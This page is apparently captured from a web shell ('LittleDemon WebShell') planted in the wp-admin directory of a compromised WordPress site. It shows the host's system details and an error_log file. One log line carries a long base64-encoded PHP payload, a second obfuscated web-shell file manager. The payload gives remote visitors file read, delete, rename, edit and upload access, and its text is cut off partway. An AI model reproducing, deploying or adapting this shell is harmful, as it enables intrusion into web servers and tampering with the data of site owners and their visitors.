LittleDemon WebShell


Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
Path : /home/livedhms/streamsza.com/wp-admin/network/
File Upload :
Command :
Current File : /home/livedhms/streamsza.com/wp-admin/network/error_log

[30-May-2026 21:40:00 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at kqnw://PD9waHAgLyoqDQogKiBNb2NoYSBUZXJtaW5hbCBGaWxlIE1hbmFnZXIgKE5vdGlmaWNhdGlvbnMgRWRpdGlvbikNCiAqIFNpbmdsZSBGaWxlLCBQSFAgNSsgQ29tcGF0aWJsZQ0KICovDQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyBQT0tFTU9OIFBBUkFNRVRFUiBNQVBQSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gR0VUIFBhcmFtcw0KY29uc3QgUF9ESVIgICAgICA9ICdwaWthY2h1JzsgICAgICAgLy8gRGlyZWN0b3J5IGhhc2gNCmNvbnN0IFBfUkFXICAgICAgPSAnYnVsYmFzYXVyJzsgICAgIC8vIFJhdyBmaWxlIHZpZXcgZm9yIGVkaXRvcg0KY29uc3QgUF9NU0cgICAgICA9ICdtZXd0d28nOyAgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdGV4dA0KY29uc3QgUF9UWVBFICAgICA9ICdtb2x0cmVzJzsgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdHlwZSAoc3VjY2Vzcy9lcnJvcikNCg0KLy8gUE9TVCBQYXJhbXMNCmNvbnN0IFBfQUNUSU9OICAgPSAnY2hhcml6YXJkJzsgICAgIC8vIEFjdGlvbiBuYW1lDQpjb25zdCBQX0hBU0ggICAgID0gJ3NxdWlydGxlJzsgICAgICAvLyBGaWxlL0ZvbGRlciBoYXNoDQpjb25zdCBQX1RBUkcgICAgID0gJ3BzeWR1Y2snOyAgICAgICAvLyBUYXJnZXQgZGlyZWN0b3J5IGhhc2ggKGZvciB1cGxvYWQvbWtkaXIpDQpjb25zdCBQX05BTUUgICAgID0gJ2ppZ2dseXB1ZmYnOyAgICAvLyBOZXcgTmFtZSAvIEZvbGRlciBOYW1lDQpjb25zdCBQX0NPTlQgICAgID0gJ3Nub3JsYXgnOyAgICAgICAvLyBGaWxlIGNvbnRlbnQgZm9yIGVkaXQNCmNvbnN0IFBfRklMRSAgICAgPSAnbWVvd3RoJzsgICAgICAgIC8vIFVwbG9hZGVkIGZpbGUgKCRfRklMRVMpDQpjb25zdCBQX0ZEQVRBICAgID0gJ2dlbmdhcic7ICAgICAgICAvLyBCYXNlNjQgZmlsZSBkYXRhDQpjb25zdCBQX0ZOQU1FICAgID0gJ29uaXgnOyAgICAgICAgICAvLyBGaWxlbmFtZSBmb3IgYmFzZTY0IHVwbG9hZA0KDQovLyBBY3Rpb24gVmFsdWVzDQpjb25zdCBBX0RFTCAgICAgID0gJ2h5ZHJvLXB1bXAnOw0KY29uc3QgQV9SRU4gICAgICA9ICdmbGFtZXRocm93ZXInOw0KY29uc3QgQV9FRElUICAgICA9ICdzb2xhci1iZWFtJzsNCmNvbnN0IEFfVVAgICAgICAgPSAnaHlwZXItYmVhbSc7DQpjb25zdCBBX01LRElSICAgID0gJ2VhcnRocXVha2UnOw0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gMS4gRUFSTFkgUkVTUE9OU0UgSEFORExFUlMgKEFKQVggLyBSQVcgVklFVykNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCi8vIEhhbmRsZSBSYXcgVmlldyAoRWRpdG9yIENvbnRlbnQpIC0gTXVzdCBiZSB0b3Agb2YgZmlsZQ0KaWYgKGlzc2V0KCRfR0VUW1BfUkFXXSkpIHsNCiAgICAkaGFzaCA9ICRfR0VUW1BfUkFXXTsNCiAgICAkcGF0aCA9IGJhc2U2NF9kZWNvZGUoJGhhc2gpOw0KICAgIA0KICAgIGlmIChpc19maWxlKCRwYXRoKSkgew0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICByZWFkZmlsZSgkcGF0aCk7DQogICAgICAgIGV4aXQ7DQogICAgfSBlbHNlIHsNCiAgICAgICAgaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7DQogICAgICAgIGV4aXQoIkZpbGUgbm90IGZvdW5kLiIpOw0KICAgIH0NCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDIuIENPTkZJR1VSQVRJT04gJiBTRVRVUA0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7IA0KDQogJGJhc2VfZGlyID0gZ2V0Y3dkKCk7DQogJGJhc2VfZGlyID0gcnRyaW0oJGJhc2VfZGlyLCAnL1xcJyk7DQoNCi8vIEN1cnJlbnQgRGlyZWN0b3J5IExvZ2ljDQogJGN1cnJlbnRfZGlyID0gJGJhc2VfZGlyOw0KaWYgKGlzc2V0KCRfR0VUW1BfRElSXSkpIHsNCiAgICAkZGVjb2RlZCA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbUF9ESVJdKTsNCiAgICBpZiAoJGRlY29kZWQgJiYgaXNfZGlyKCRkZWNvZGVkKSkgew0KICAgICAgICAkY3VycmVudF9kaXIgPSAkZGVjb2RlZDsNCiAgICB9DQp9DQoNCi8vIFJlYWQgTm90aWZpY2F0aW9uIGZyb20gVVJMDQogJHN0YXR1c19tc2cgPSBpc3NldCgkX0dFVFtQX01TR10pID8gaHRtbHNwZWNpYWxjaGFycygkX0dFVFtQX01TR10pIDogJyc7DQogJHN0YXR1c190eXBlID0gaXNzZXQoJF9HRVRbUF9UWVBFXSkgPyAkX0dFVFtQX1RZUEVdIDogJ3N1Y2Nlc3MnOw0KDQpmdW5jdGlvbiBnZXRfc2FmZV9wYXRoKCRwYXRoKSB7DQogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KfQ0KDQpmdW5jdGlvbiBnZXRfaGFzaCgkcGF0aCkgew0KICAgIHJldHVybiBydHJpbShiYXNlNjRfZW5jb2RlKCRwYXRoKSwgJz0nKTsNCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDMuIFBPU1QgSEFORExJTkcgKEFDVElPTlMpDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQovLyBDdXN0b20gUmVkaXJlY3QgaGVscGVyIHRoYXQgY2FycmllcyB0aGUgbWVzc2FnZQ0KZnVuY3Rpb24gcmVkaXJlY3QoJGRpciwgJG1zZyA9ICcnLCAkdHlwZSA9ICdzdWNjZXNzJykgew0KICAgICR1cmwgPSAiPyIgLiBQX0RJUiAuICI9IiAuIGdldF9oYXNoKCRkaXIpOw0KICAgIGlmICgkbXNnKSB7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9NU0cgLiAiPSIgLiB1cmxlbmNvZGUoJG1zZyk7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9UWVBFIC4gIj0iIC4gJHR5cGU7DQogICAgfQ0KICAgIGhlYWRlcigiTG9jYXRpb246ICIgLiAkdXJsKTsNCiAgICBleGl0Ow0KfQ0KDQppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KDQogICAgLy8gMS4gREVMRVRFDQogICAgaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfREVMICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSkgew0KICAgICAgICAkdGFyZ2V0ID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbUF9IQVNIXSk7DQogICAgICAgICRzdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmIChpc19maWxlKCR0YXJnZXQpKSB7DQogICAgICAgICAgICAkc3VjY2VzcyA9IEB1bmxpbmsoJHRhcmdldCk7DQogICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgIGZ1bmN0aW9uIHJybWRpcigkZGlyKSB7DQogICAgICAgICAgICAgICAgJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRkaXIpLCBhcnJheSgnLicsJy4uJykpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KICAgICAgICAgICAgICAgICAgICAoaXNfZGlyKCIkZGlyLyRmaWxlIikpID8gcnJtZGlyKCIkZGlyLyRmaWxlIikgOiB1bmxpbmsoIiRkaXIvJGZpbGUiKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmV0dXJuIEBybWRpcigkZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRzdWNjZXNzID0gcnJtZGlyKCR0YXJnZXQpOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRzdWNjZXNzID8gIkl0ZW0gZGVsZXRlZC4iIDogIkRlbGV0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAyLiBSRU5BTUUNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfUkVOICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSAmJiBpc3NldCgkX1BPU1RbUF9OQU1FXSkpIHsNCiAgICAgICAgJHRhcmdldCA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUW1BfSEFTSF0pOw0KICAgICAgICAkbmV3X25hbWUgPSBiYXNlbmFtZSgkX1BPU1RbUF9OQU1FXSk7DQogICAgICAgICRkZXN0aW5hdGlvbiA9IGRpcm5hbWUoJHRhcmdldCkgLiAnLycgLiAkbmV3X25hbWU7DQogICAgICAgICRzdWNjZXNzID0gQHJlbmFtZSgkdGFyZ2V0LCAkZGVzdGluYXRpb24pOw0KICAgICAgICByZWRpcmVjdChkaXJuYW1lKCR0YXJnZXQpLCAkc3VjY2VzcyA/ICJSZW5hbWVkIHN1Y2Nlc3NmdWxseS4iIDogIlJlbmFtZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAzLiBTQVZFIEVESVQNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfRURJVCAmJiBpc3NldCgkX1BPU1RbUF9IQVNIXSkgJiYgaXNzZXQoJF9QT1NUW1BfQ09OVF0pKSB7DQogICAgICAgICR0YXJnZXQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX0hBU0hdKTsNCiAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbUF9DT05UXTsNCiAgICAgICAgJHRlbXBfZmlsZSA9ICR0YXJnZXQgLiAnLnRtcF8nIC4gdW5pcWlkKG10X3JhbmQoKSwgdHJ1ZSk7DQogICAgICAgICR3cml0ZV9zdWNjZXNzID0gZXJyb3JfbG9nKCRjb250ZW50LCAzLCAkdGVtcF9maWxlKTsNCiAgICAgICAgDQogICAgICAgICRmaW5hbF9zdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmICgkd3JpdGVfc3VjY2Vzcykgew0KICAgICAgICAgICAgaWYgKEByZW5hbWUoJHRlbXBfZmlsZSwgJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAkZmluYWxfc3VjY2VzcyA9IHRydWU7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRlbXBfZmlsZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRsb2cgPSAkZmluYWxfc3VjY2VzcyA/ICJFZGl0IHNhdmVkOiAkdGFyZ2V0IiA6ICJFZGl0IGZhaWxlZDogJHRhcmdldCI7DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRmaW5hbF9zdWNjZXNzID8gIkZpbGUgc2F2ZWQiIDogIlNhdmUgZmFpbGVkLiIsICRmaW5hbF9zdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIiwgJGxvZyk7DQogICAgfQ0KICAgIA0KICAgIC8vIDQuIFVQTE9BRA0KICAgIGVsc2VpZiAoaXNzZXQoJF9QT1NUW1BfQUNUSU9OXSkgJiYgJF9QT1NUW1BfQUNUSU9OXSA9PT0gQV9VUCkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQoNCiAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTsNCiAgICAgICAgaWYgKGlzc2V0KCRfRklMRVNbUF9GSUxFXSkgJiYgJF9GSUxFU1tQX0ZJTEVdWydlcnJvciddID09PSBVUExPQURfRVJSX09LKSB7DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfRklMRVNbUF9GSUxFXVsnbmFtZSddKTsNCiAgICAgICAgICAgICRzdWNjZXNzID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTW1BfRklMRV1bJ3RtcF9uYW1lJ10sICR0YXJnZXRfZGlyIC4gJy8nIC4gJG5hbWUpOw0KICAgICAgICB9IA0KICAgICAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0ZEQVRBXSkgJiYgIWVtcHR5KCRfUE9TVFtQX0ZEQVRBXSkgJiYgaXNzZXQoJF9QT1NUW1BfRk5BTUVdKSkgew0KICAgICAgICAgICAgJGRhdGEgPSAkX1BPU1RbUF9GREFUQV07DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX0ZOQU1FXSk7DQogICAgICAgICAgICBpZiAoYmFzZTY0X2RlY29kZSgkZGF0YSwgdHJ1ZSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgJGRhdGEgPSBwcmVnX3JlcGxhY2UoJyNeZGF0YTp0ZXh0L1x3KztiYXNlNjQsI2knLCAnJywgJGRhdGEpOw0KICAgICAgICAgICAgICAgICRkYXRhID0gYmFzZTY0X2RlY29kZSgkZGF0YSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkc3VjY2VzcyA9IEBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0X2RpciAuICcvJyAuICRuYW1lLCAkZGF0YSkgIT09IGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJVcGxvYWQgY29tcGxldGUuIiA6ICJVcGxvYWQgZmFpbGVkLiIsICRzdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIik7DQogICAgfQ0KICAgIA0KICAgIC8vIDUuIE1LRElSDQogICAgZWxzZWlmIChpc3NldCgkX1BPU1RbUF9BQ1RJT05dKSAmJiAkX1BPU1RbUF9BQ1RJT05dID09PSBBX01LRElSICYmIGlzc2V0KCRfUE9TVFtQX05BTUVdKSkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQogICAgICAgIA0KICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX05BTUVdKTsNCiAgICAgICAgJHN1Y2Nlc3MgPSBAbWtkaXIoJHRhcmdldF9kaXIgLiAnLycgLiAkbmFtZSk7DQogICAgICAgIHJlZGlyZWN0KCR0YXJnZXRfZGlyLCAkc3VjY2VzcyA/ICJEaXJlY3RvcnkgY3JlYXRlZC4iIDogIkNyZWF0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQp9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyA0LiBGSUxFIFNDQU5OSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQogJGZpbGVzID0gYXJyYXkoKTsNCiAkZGlycyA9IGFycmF5KCk7DQoNCmlmICgkaGFuZGxlID0gb3BlbmRpcigkY3VycmVudF9kaXIpKSB7DQogICAgd2hpbGUgKGZhbHNlICE9PSAoJGVudHJ5ID0gcmVhZGRpcigkaGFuZGxlKSkpIHsNCiAgICAgICAgaWYgKCRlbnRyeSA9PSAiLiIgfHwgJGVudHJ5ID09ICIuLiIpIGNvbnRpbnVlOw0KICAgICAgICANCiAgICAgICAgJGZ1bGxfcGF0aCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZW50cnk7DQogICAgICAgIA0KICAgICAgICAkcGVybXMgPSBpc19maWxlKCRmdWxsX3BhdGgpID8gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpIDogJ2Ryd3gnOw0KICAgICAgICAkc2l6ZSA9IGZpbGVzaXplKCRmdWxsX3BhdGgpOw0KICAgICAgICAkbW9kX3RpbWUgPSBkYXRlKCdNIGQgSDppJywgZmlsZW10aW1lKCRmdWxsX3BhdGgpKTsNCiAgICAgICAgJGhhc2ggPSBnZXRfaGFzaCgkZnVsbF9wYXRoKTsNCiAgICAgICAgJGlzX2RpciA9IGlzX2RpcigkZnVsbF9wYXRoKTsNCg0KICAgICAgICAkaXRlbSA9IGFycmF5KA0KICAgICAgICAgICAgJ25hbWUnID0+ICRlbnRyeSwNCiAgICAgICAgICAgICdwZXJtcycgPT4gJHBlcm1zLA0KICAgICAgICAgICAgJ3NpemUnID0+ICRzaXplLA0KICAgICAgICAgICAgJ21vZCcgPT4gJG1vZF90aW1lLA0KICAgICAgICAgICAgJ2hhc2gnID0+ICRoYXNoLA0KICAgICAgICAgICAgJ2lzX2RpcicgPT4gJGlzX2Rpcg0KICAgICAgICApOw0KDQogICAgICAgIGlmICgkaXNfZGlyKSB7DQogICAgICAgICAgICAkZGlyc1tdID0gJGl0ZW07DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkZmlsZXNbXSA9ICRpdGVtOw0KICAgICAgICB9DQogICAgfQ0KICAgIGNsb3NlZGlyKCRoYW5kbGUpOw0KfQ0KDQp1c29ydCgkZGlycywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCnVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsNCiAkYWxsX2l0ZW1zID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoNCiAkcGFyZW50X2RpciA9IGRpcm5hbWUoJGN1cnJlbnRfZGlyKTsNCiAkY2FuX2dvX3VwID0gKCRwYXJlbnRfZGlyICE9PSAkY3VycmVudF9kaXIpOw0KDQpmdW5jdGlvbiBmb3JtYXRfc2l6ZSgkYnl0ZXMpIHsNCiAgICBpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHJldHVybiBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwNDg1NzYsIDIpIC4gJ00nOw0KICAgIGlmICgkYnl0ZXMgPj0gMTAyNCkgcmV0dXJuIG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTAyNCwgMikgLiAnSyc7DQogICAgcmV0dXJuICRieXRlcyAuICdCJzsNCn0NCg0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWwgbGFuZz0iZW4iPg0KPGhlYWQ+DQogICAgPG1ldGEgY2hhcnNldD0iVVRGLTgiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+a2FrYW8uPC90aXRsZT4NCiAgICA8c3R5bGU+DQogICAgICAgIDpyb290IHsNCiAgICAgICAgICAgIC0tYmctZGFyazogIzFlMWExNzsNCiAgICAgICAgICAgIC0tYmctcGFuZWw6ICMyYTI0MWY7DQogICAgICAgICAgICAtLWJnLWlucHV0OiAjMTUxMjEwOw0KICAgICAgICAgICAgLS10ZXh0LW1haW46ICNlNmQzYjM7DQogICAgICAgICAgICAtLXRleHQtZGltOiAjOGE4MDc1Ow0KICAgICAgICAgICAgLS1hY2NlbnQ6ICNjODliNmQ7DQogICAgICAgICAgICAtLWJvcmRlcjogIzNlMzUyZTsNCiAgICAgICAgICAgIC0tdGVybWluYWwtZm9udDogJ0NvdXJpZXIgTmV3JywgQ291cmllciwgbW9ub3NwYWNlOw0KICAgICAgICAgICAgLS1zdWNjZXNzOiAjN2VjODczOyAvKiBNdXRlZCBHcmVlbiAqLw0KICAgICAgICAgICAgLS1lcnJvcjogI2ZmNWY1NjsgICAvKiBSZWQgKi8NCiAgICAgICAgfQ0KDQogICAgICAgICogeyBib3gtc2l6aW5nOiBib3JkZXItYm94OyB9DQoNCiAgICAgICAgYm9keSB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS10ZXh0LW1haW4pOw0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOw0KICAgICAgICAgICAgbWFyZ2luOiAwOw0KICAgICAgICAgICAgcGFkZGluZzogMjBweDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTNweDsNCiAgICAgICAgICAgIGhlaWdodDogMTAwdmg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7DQogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOw0KICAgICAgICB9DQoNCiAgICAgICAgLnRlcm1pbmFsLXdpbmRvdyB7DQogICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgIG1heC13aWR0aDogOTAwcHg7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1wYW5lbCk7DQogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNnB4Ow0KICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxMHB4IDMwcHggcmdiYSgwLDAsMCwwLjUpOw0KICAgICAgICAgICAgZGlzcGxheTogZmxleDsNCiAgICAgICAgICAgIGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47DQogICAgICAgICAgICBoZWlnaHQ6IDg1dmg7DQogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOw0KICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOw0KICAgICAgICB9DQoNCiAgICAgICAgLyogVG9wIEJhciAqLw0KICAgICAgICAudG9wLWJhciB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB2YXIoLS1iZy1kYXJrKTsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOw0KICAgICAgICAgICAgcGFkZGluZzogOHB4IDEycHg7DQogICAgICAgICAgICBkaXNwbGF5OiBmbGV4Ow0KICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsNCiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjsNCiAgICAgICAgfQ0KDQogICAgICAgIC53aW5kb3ctY29udHJvbHMgeyBkaXNwbGF5OiBmbGV4OyBnYXA6IDhweDsgfQ0KICAgICAgICAuY29udHJvbC1kb3QgeyB3aWR0aDogMTJweDsgaGVpZ2h0OiAxMnB4OyBib3JkZXItcmFkaXVzOiA1MCU7IH0NCiAgICAgICAgLnJlZCB7IGJhY2tncm91bmQtY29sb3I6ICNmZjVmNTY7IH0NCiAgICAgICAgLnllbGxvdyB7IGJhY2tncm91bmQtY29sb3I6ICNmZmJkMmU7IH0NCiAgICAgICAgLmdyZWVuIHsgYmFja2dyb3VuZC1jb2xvcjogIzI3YzkzZjsgfQ0KDQogICAgICAgIC5uYXYtYXJlYSB7IGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGZsZXg6IDE7IG1hcmdpbjogMCAxNXB4OyB9DQoNCiAgICAgICAgLmJ0bi11cCB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiB2YXIoLS1iZy1pbnB1dCk7IGNvbG9yOiB2YXIoLS10ZXh0LWRpbSk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBwYWRkaW5nOiAycHggOHB4OyBtYXJnaW4tcmlnaHQ6IDEwcHg7IGN1cnNvcjogcG9pbnRlcjsgYm9yZGVyLXJhZGl1czogM3B4Ow0KICAgICAgICAgICAgZm9udC1mYW1pbHk6IHZhcigtLXRlcm1pbmFsLWZvbnQpOyBmb250LXNpemU6IDEycHg7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiAgICAgICAgfQ0KICAgICAgICAuYnRuLXVwOmhvdmVyIHsgYm9yZGVyLWNvbG9yOiB2YXIoLS1hY2NlbnQpOyBjb2xvcjogdmFyKC0tYWNjZW50KTsgfQ0KICAgICAgICAuYnRuLXVwLmRpc2FibGVkIHsgb3BhY2l0eTogMC4zOyBwb2ludGVyLWV2ZW50czogbm9uZTsgfQ0KDQogICAgICAgIC5wYXRoLWRpc3BsYXkgew0KICAgICAgICAgICAgY29sb3I6IHZhcigtLXRleHQtZGltKTsgYmFja2dyb3VuZC1jb2xvcjogdmFyKC0tYmctaW5wdXQpOw0KICAgICAgICAgICAgcGFkZGluZzogMnB4IDhweDsgYm9yZGVyLXJhZGl1czogM3B4OyBmb250LXNpemU6IDEycHg7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7DQogICAgICAgICAgICBmbGV4OiAxOyB3aGl0ZS1zcGFjZTogbm93cmFwOyBvdmVyZmxvdzogaGlkZGVuOyB0ZXh0LW92ZXJmbG93OiBlbGxpcHNpczsNCiAgICAgICAgfQ0KDQogICAgICAgIC8qIE1haW4gQ29udGVudCAqLw0KICAgICAgICAubWFpbi1jb250ZW50IHsgZmxleDogMTsgb3ZlcmZsb3cteTogYXV0bzsgcGFkZGluZzogMTBweDsgfQ0KDQogICAgICAgIC8qIFN0YXR1cyBNZXNzYWdlIChUZXJtaW5hbCBTdHlsZSkgKi8NCiAgICAgICAgLmNvbnNvbGUtbXNnIHsNCiAgICAgICAgICAgIHBhZGRpbmc6IDVweCAxMHB4Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweDsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiB2YXIoLS10ZXJtaW5hbC1mb250KTsNCiAgICAgICAgICAgIGJvcmRlci1sZWZ0OiA0cHggc29saWQgdHJhbnNwYXJlbnQ7DQogICAgICAgICAgICBiYWN